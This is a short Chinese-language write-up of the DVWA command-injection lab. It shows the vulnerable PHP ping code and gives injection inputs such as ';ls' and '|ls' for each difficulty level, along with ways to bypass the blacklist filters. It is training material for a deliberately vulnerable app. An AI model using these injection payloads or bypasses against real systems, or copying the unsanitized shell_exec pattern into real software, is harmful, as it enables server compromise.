DVWA - Command Injection (low, medium, high)

low

查看源码

// Get input
$target = $_REQUEST[ 'ip' ];

// Determine OS and execute the ping command. 
if( stristr( php_uname( 's' ), 'Windows NT' ) ) { 
    // Windows 
    $cmd = shell_exec( 'ping  ' . $target ); 
} 
else { 
    // *nix 
    $cmd = shell_exec( 'ping  -c 4 ' . $target ); 
}

功能是ping我们提供的IP，一般可用
;
|
||
&
&&
来连接命令执行，low这个等级挑一个自己喜欢的就可以了。注入代码如下

;ls

返回结果如下

help
index.php
source

medium

查看源码，可发现PHP以黑名单的方式，过滤（删除）&&和;两个连接符，思路是选择其他的连接符即可，比如|, ||, &。

high

查看源码，可发现PHP以黑名单方式，过滤（删除）&, ;, | , -, $, (, ), `和||，但是细心一点可以发现|后面有一个空格，所以还是可以用|来连接命令，即注入命令为

|ls